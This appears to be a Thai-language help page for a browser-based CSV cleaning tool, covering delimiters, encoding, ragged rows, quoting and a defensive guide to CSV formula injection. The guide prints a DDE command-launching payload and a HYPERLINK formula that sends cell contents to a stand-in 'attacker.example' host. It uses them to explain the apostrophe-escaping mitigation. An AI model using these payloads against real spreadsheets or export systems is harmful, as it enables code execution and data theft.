จัดการตัวคั่น ส่วนหัว แถวซ้ำ และการเข้ารหัสในไฟล์ส่งออกจากสเปรดชีต
ไฟล์ CSV ไม่ใช่รูปแบบจริงๆ แต่เป็นกลุ่มของแบบแผน ข้อมูลจำเพาะที่เครื่องมือส่วนใหญ่ชี้ไปที่ RFC 4180 เขียนด้วยภาษา 2005 เพื่ออธิบายว่าซอฟต์แวร์กำลังทำอะไรอยู่ แทนที่จะบอกว่าต้องทำอะไร ผลลัพธ์ก็คือ สองโปรแกรมสามารถขอรับการสนับสนุน CSV และยังคงไม่เห็นด้วยเกี่ยวกับตัวคั่น การสิ้นสุดบรรทัด รูปแบบการอ้างอิง และการเข้ารหัสอักขระ
ความประหลาดใจที่พบบ่อยที่สุดคือตัวคั่น ซอฟต์แวร์ที่จำหน่ายในประเทศที่ใช้เครื่องหมายจุลภาคเป็นตัวคั่นทศนิยม ซึ่งส่วนใหญ่อยู่ในทวีปยุโรป มักส่งออกไฟล์ที่คั่นด้วยเครื่องหมายอัฒภาค เนื่องจากเครื่องหมายจุลภาคไม่ว่างอยู่แล้ว ไฟล์เหล่านั้นยังคงลงท้ายด้วย .csv เปิดรายการหนึ่งในเครื่องมือที่ใช้เครื่องหมายจุลภาคและทุกแถวจะยุบเป็นคอลัมน์เดียว
ความประหลาดใจที่พบบ่อยเป็นอันดับสองคือการเข้ารหัส ไฟล์ที่บันทึกเป็น UTF-8 มักจะเริ่มต้นด้วยเครื่องหมายสามไบต์ที่มองไม่เห็นซึ่งเรียกว่าเครื่องหมายลำดับไบต์ Excel บน Windows ใช้เพื่อจดจำ UTF-8 เครื่องมือ Unix จำนวนมากไม่คาดคิด ดังนั้นเครื่องหมายจึงติดอยู่ที่ชื่อส่วนหัวแรก และคอลัมน์ชื่อ "id" ก็จะกลายเป็นคอลัมน์ชื่อ "id" โดยไม่มีการค้นหาใดจะตรงกัน
เลือกไฟล์ของคุณ การแยกวิเคราะห์เกิดขึ้นในเธรดของผู้ปฏิบัติงานในพื้นหลัง ดังนั้นแม้แต่การส่งออกจำนวนมากจะไม่หยุดเพจในขณะที่อ่าน
ปล่อยตัวคั่นไว้ที่ "ตรวจหาอัตโนมัติ" ในครั้งแรก การตรวจจับทำงานโดยการแยกวิเคราะห์ตัวอย่างด้วยตัวคั่นตัวเลือกแต่ละตัว และเลือกตัวอย่างที่ให้ผลลัพธ์เป็นรูปสี่เหลี่ยมผืนผ้าสม่ำเสมอที่สุด ซึ่งเป็นเหตุผลว่าทำไมจึงไม่ถูกหลอกด้วยเครื่องหมายจุลภาคที่อยู่ในช่องเครื่องหมายคำพูดของไฟล์ที่คั่นด้วยเครื่องหมายอัฒภาค หากการแสดงตัวอย่างยังคงดูผิดอยู่ ให้แทนที่ด้วยตนเอง
ตรวจสอบจำนวนแถวและคอลัมน์ใต้ตัวเลือกไฟล์ก่อนดำเนินการอย่างอื่น หากจำนวนคอลัมน์คือ 1 แสดงว่าตัวคั่นไม่ถูกต้อง หากจำนวนแถวมากกว่าที่คุณคาดไว้มาก ไฟล์นั้นอาจมีการขึ้นบรรทัดใหม่ที่ยกมาซึ่งเครื่องมืออื่นได้เสียหายไปแล้ว
คำเตือนจะระบุชื่อหมายเลขแถว โดยนับวิธีที่คุณจะนับในโปรแกรมแก้ไขข้อความ เพื่อให้คุณสามารถดูปัญหาได้โดยตรง
คำเตือน "แถวที่ขาด" หมายความว่าแถวมีจำนวนเซลล์แตกต่างจากส่วนหัว เครื่องมือนี้จะไม่ละทิ้งเซลล์เหล่านั้น แถวสั้นจะเต็มไปด้วยช่องว่างและแถวยาวจะเก็บค่าพิเศษเอาไว้ เนื่องจากการลบข้อมูลของใครบางคนอย่างเงียบๆ เพื่อทำให้ตารางดูเป็นระเบียบเรียบร้อยเป็นสิ่งที่แย่ที่สุดที่เครื่องมือทำความสะอาดสามารถทำได้ แก้ไขแถวต้นทางหากเครื่องหมายจุลภาคเพิ่มเติมเกิดข้อผิดพลาด
คำเตือน "เครื่องหมายคำพูดที่ไม่ปิด" หมายความว่าเครื่องหมายคำพูดคู่ถูกเปิดและไม่เคยปิด ดังนั้นทุกสิ่งหลังจากนั้นจึงถูกอ่านเป็นช่องขนาดมหึมาช่องเดียว นี่เป็นความเสียหายที่แท้จริงในไฟล์ต้นฉบับเกือบทุกครั้ง และการแก้ไขที่ต้นทางมากกว่าที่ปลายน้ำก็คุ้มค่า
ปุ่มล้างข้อมูลใช้กับทั้งตารางและแต่ละปุ่มสามารถยกเลิกได้ การลบแถวที่ซ้ำกันจะคงไว้ซึ่งการปรากฏครั้งแรก ดังนั้นแถวเดิมจึงยังคงอยู่ และลำดับของข้อมูลที่ยังคงอยู่จะไม่เปลี่ยนแปลง
การควบคุมคอลัมน์ช่วยให้คุณเปลี่ยนชื่อส่วนหัว เลือกคอลัมน์ที่จะส่งออก และจัดเรียงตามคอลัมน์ใดก็ได้ การเรียงลำดับจะตรวจสอบว่าคอลัมน์เป็นตัวเลขหรือไม่ โดยคอลัมน์ตัวเลขจะเรียงลำดับ 9 ก่อน 10 ในขณะที่คอลัมน์ข้อความจะเรียงลำดับ "10" ก่อน "9" ซึ่งโดยปกติแล้วจะเป็นสิ่งที่คุณต้องการในแต่ละกรณี
ก่อนที่จะดาวน์โหลด ให้ดูที่ตัวเลือกการส่งออก ตัวเลือกปลอดภัยสำหรับการฉีดสูตรจะเปิดไว้ตามค่าเริ่มต้น และอธิบายไว้ในคู่มือด้านล่าง ซึ่งเป็นการตั้งค่าเดียวที่ให้ผลด้านความปลอดภัยอย่างแท้จริง
ไฟล์ CSV ไม่มีโค้ด แต่แอปพลิเคชันสเปรดชีตจะถือว่าข้อความบางส่วนเป็นโค้ดอย่างมีความสุขทันทีที่เปิดไฟล์
Excel, Google Sheets และ LibreOffice Calc ล้วนตีความเซลล์ที่มีอักขระตัวแรกคือ =, +, - หรือ @ เป็นจุดเริ่มต้นของสูตร พฤติกรรมนั้นเป็นการกระทำโดยเจตนาและมีประโยชน์เมื่อคุณพิมพ์ด้วยตนเอง มันจะกลายเป็นช่องโหว่เมื่อเนื้อหาของเซลล์มาจากที่ที่คุณไม่ได้ควบคุม
ลองนึกภาพเว็บฟอร์มที่รวบรวมชื่อ และผู้ดูแลระบบที่ส่งออกการส่งไปยัง CSV เป็นระยะๆ แล้วเปิดใน Excel ผู้โจมตีส่งชื่อที่ไม่ใช่ชื่อแต่เป็นสูตร
เพย์โหลดแบบคลาสสิกดูเหมือน =cmd|' /C คำนวณ'!A0 เมื่อเปิดการส่งออก Excel จะแยกวิเคราะห์เป็นคำสั่งการแลกเปลี่ยนข้อมูลแบบไดนามิกแทนที่จะเป็นข้อความ การกำหนดค่าที่เก่ากว่าและไม่ได้รับการติดตั้งจะพยายามเปิดโปรแกรมภายนอก เวอร์ชันใหม่จะแสดงพรอมต์คำเตือนก่อน — แต่พรอมต์เป็นเพียงสิ่งเดียวที่อยู่ระหว่างเพย์โหลดและการดำเนินการ และผู้ใช้จะคลิกผ่านพร้อมท์
การขโมยข้อมูลเป็นรูปแบบที่เงียบกว่าและไม่จำเป็นต้องใช้ DDE เลย =HYPERLINK("https://attacker.example/?d="&A1,"Click สำหรับรายละเอียด") สร้างลิงก์ที่มีเนื้อหาของเซลล์ใกล้เคียง ผู้ดูแลระบบที่อยากรู้อยากเห็นคลิกมัน และแถวของสเปรดชีตออกจากอาคารใน URL IMPORTXML ใน Google ชีตสามารถดึงข้อมูล URL ระยะไกลโดยไม่จำเป็นต้องคลิกเลย
จุดสำคัญคือผู้โจมตีไม่จำเป็นต้องเข้าถึงสเปรดชีต เครื่องมือส่งออก หรือเครื่องของผู้ดูแลระบบ พวกเขาต้องการเพียงช่องข้อความเดียวที่สามารถส่งออก CSV ได้ในที่สุด นี่คือเหตุผลว่าทำไมช่องโหว่นี้จึงมักถูกบันทึกกับแอปพลิเคชันที่สร้างไฟล์ ไม่ใช่สเปรดชีตที่เปิดขึ้นมา
เมื่อเปิดใช้งาน "สูตรปลอดภัยในการฉีด" และเปิดใช้งานตามค่าเริ่มต้น ทุกเซลล์ที่มีอักขระตัวแรกคือ =, +, -, @, แท็บหรือตัวขึ้นบรรทัดใหม่จะมีเครื่องหมายอะพอสทรอฟีเดี่ยวนำหน้าก่อนที่จะเขียน
เครื่องหมายอะพอสทรอฟีคือเครื่องหมายสเปรดชีตทั่วไป ซึ่งหมายถึง "ถือว่าส่วนที่เหลือของเซลล์นี้เป็นข้อความตามตัวอักษร" Excel จะไม่แสดงในเซลล์ คุณจะเห็นเฉพาะในแถบสูตรเท่านั้น เพย์โหลดยังคงมองเห็นได้และยังสามารถกู้คืนได้ทั้งหมด แต่จะเฉื่อย
การส่งคืนแท็บและการขึ้นบรรทัดใหม่จะรวมอยู่ในรายการนั้นเนื่องจากเป็นช่องว่างที่ตัวกรองไร้เดียงสาบางตัวจะตัดแต่งก่อนที่จะตรวจสอบอักขระตัวแรก ซึ่งช่วยให้เพย์โหลดผ่านการตรวจสอบที่ดูเฉพาะดัชนีศูนย์ของสตริงที่ถูกตัดออกเท่านั้น การตรวจสอบอักขระตัวแรกแบบดิบจะปิดช่องว่างนั้น
การบรรเทาผลกระทบจะเปลี่ยนแปลงข้อมูลของคุณ และไม่มีเวอร์ชันใดที่ไม่เปลี่ยนแปลง หากเซลล์มี =SUM(A1:A2) จริงๆ เนื่องจากคุณต้องการสูตรที่ใช้งานได้ในเอาต์พุต การส่งออกที่ปลอดภัยจะเปลี่ยนเป็นข้อความตามตัวอักษร =SUM(A1:A2) และจะไม่มีการคำนวณ สเปรดชีตไม่สามารถแยกแยะสูตรที่คุณตั้งใจไว้จากสูตรของผู้โจมตีได้ และเราก็ทำได้เช่นกัน
นั่นเป็นเหตุผลว่าทำไมสิ่งนี้ถึงเป็นการสลับที่มองเห็นได้แทนที่จะเป็นพฤติกรรมที่เงียบ หากคุณกำลังส่งออกไฟล์ที่ควรจะประกอบด้วยสูตรที่ใช้งานจริง และคุณเชื่อถือทุกค่าในนั้น ให้ปิดตัวเลือกนี้โดยจงใจและทราบ หากข้อมูลมีสิ่งใดก็ตามที่มาจากผู้ใช้ แบบฟอร์ม ลูกค้า แบบสำรวจ หรือระบบภายนอก ให้ปล่อยไว้
การปรับแต่งอย่างหนึ่งก็คุ้มค่าที่จะรู้ การใช้งานที่ไร้เดียงสาจะทำเครื่องหมายทุกเซลล์ที่ขึ้นต้นด้วยเครื่องหมายลบ ซึ่งจะทำให้ตัวเลขติดลบทุกตัวในไฟล์: -42 กลายเป็น '-42 และหยุดเป็นตัวเลข ส่งผลให้ข้อมูลทางการเงินทั้งคอลัมน์เสียหายอย่างเงียบๆ เครื่องมือนี้ยกเว้นค่าที่แยกวิเคราะห์เป็นตัวเลขธรรมดา ดังนั้น -42, -3.14 และ -1e5 ผ่านไม่ได้แตะต้องในขณะที่ -1+1+cmd|' /C calc'!A0 ไม่มี เนื่องจากไม่ใช่ตัวเลข
หลบหนีจากการเขียน ไม่ใช่จากการอ่าน ไฟล์ที่คุณสร้างควรเปิดได้ทุกที่อย่างปลอดภัย เนื่องจากคุณไม่สามารถควบคุมได้ว่าแอปพลิเคชันใดจะเปิดหรืออายุของแอปพลิเคชันนั้น
อย่าใช้กล่องโต้ตอบคำเตือนของสเปรดชีตเป็นตัวควบคุม มันเป็นแนวป้องกันสุดท้ายที่มุ่งเป้าไปที่ผู้ใช้ที่กำลังพยายามทำงานให้เสร็จ และจะถูกไล่ออกเป็นประจำ
อย่าพยายามแก้ไขปัญหานี้ด้วยการลบอักขระที่เป็นอันตรายออก การลบส่วนนำหน้า = ทำให้ข้อมูลที่ถูกต้องเสียหายและยังคงพลาดเพย์โหลดที่ขึ้นต้นด้วยช่องว่าง การเติมคำนำหน้าด้วยเครื่องหมายอะพอสทรอฟีจะรักษาค่าดั้งเดิมไว้ทุกประการในขณะที่ลบความสามารถในการดำเนินการออก ซึ่งเป็นเหตุผลว่าทำไมจึงเป็นวิธีที่แนะนำ
ช่องจะต้องอยู่ในเครื่องหมายคำพูดคู่เมื่อมีตัวคั่น เครื่องหมายคำพูดคู่ หรือการขึ้นบรรทัดใหม่ ภายในช่องที่ยกมา เครื่องหมายคำพูดคู่ตามตัวอักษรจะถูกเขียนสองครั้ง: "she says ""hi""" เป็นช่องหนึ่งที่มีเธอพูดว่า "hi"
เครื่องมือนี้เสนอราคาน้อยที่สุดในการส่งออก: ฟิลด์จะถูกรวมเมื่อจำเป็นเท่านั้น นั่นหมายถึงไฟล์ที่มีเครื่องหมายคำพูดทุกช่องในการป้อนข้อมูลอาจมีเครื่องหมายคำพูดน้อยลง ข้อมูลเหมือนกัน - "Ada" และ Ada เป็นค่าเดียวกัน - แต่ไบต์ต่างกัน หากคุณต้องการอ้างอิงทุกฟิลด์ ให้ใช้ตัวเลือก "อ้างอิงทุกฟิลด์"
ช่องที่มีช่องว่างนำหน้าหรือต่อท้ายที่สื่อความหมายจะถูกยกมาเสมอ เนื่องจากตัวแยกวิเคราะห์หลายรายจะตัดช่องว่างที่ไม่มีเครื่องหมายคำพูดออก และอาจทำให้ค่าของคุณเปลี่ยนแปลงได้
RFC 4180 ระบุ CRLF ระหว่างบันทึก และนั่นคือสิ่งที่เครื่องมือนี้เขียนตามค่าเริ่มต้น เนื่องจากเป็นตัวเลือกที่เข้ากันได้อย่างกว้างขวางที่สุดในเครื่องมือ Windows และ Unix
ในการป้อนข้อมูล ทั้งสามแบบแผนได้รับการยอมรับ: CRLF, LF และ lone CR การขึ้นบรรทัดใหม่ภายในฟิลด์ที่ยกมาจะถูกรักษาไว้เป็นส่วนหนึ่งของค่า และไม่ได้เริ่มแถวใหม่
เบราว์เซอร์จะอ่านไฟล์ของคุณ แยกวิเคราะห์ใน Web Worker บนอุปกรณ์ของคุณ แปลงในหน่วยความจำ และเขียนกลับโดยกลไกการดาวน์โหลดของเบราว์เซอร์เอง มันไม่เคยถ่ายทอด
ไม่มีสิ่งใดถูกเก็บไว้ ไม่มีการบันทึกอัตโนมัติ ไม่มีฐานข้อมูลในเครื่อง และไม่มีประวัติที่สามารถโหลดหน้าซ้ำได้ การปิดแท็บจะทิ้งทุกอย่าง "ล้างข้อมูล" จะทำเช่นเดียวกันทันที
การวิเคราะห์และการโฆษณาถูกปิดใช้งานในผลิตภัณฑ์นี้ในทุกสภาพแวดล้อม ไม่มีการรวบรวมข้อมูลการใช้งานเกี่ยวกับไฟล์ของคุณ — ไม่ใช่ชื่อ ขนาด เนื้อหา หรือชื่อคอลัมน์ — จะถูกเก็บรวบรวม เนื่องจากไม่มีการส่งสิ่งใดไปที่ไหนเลย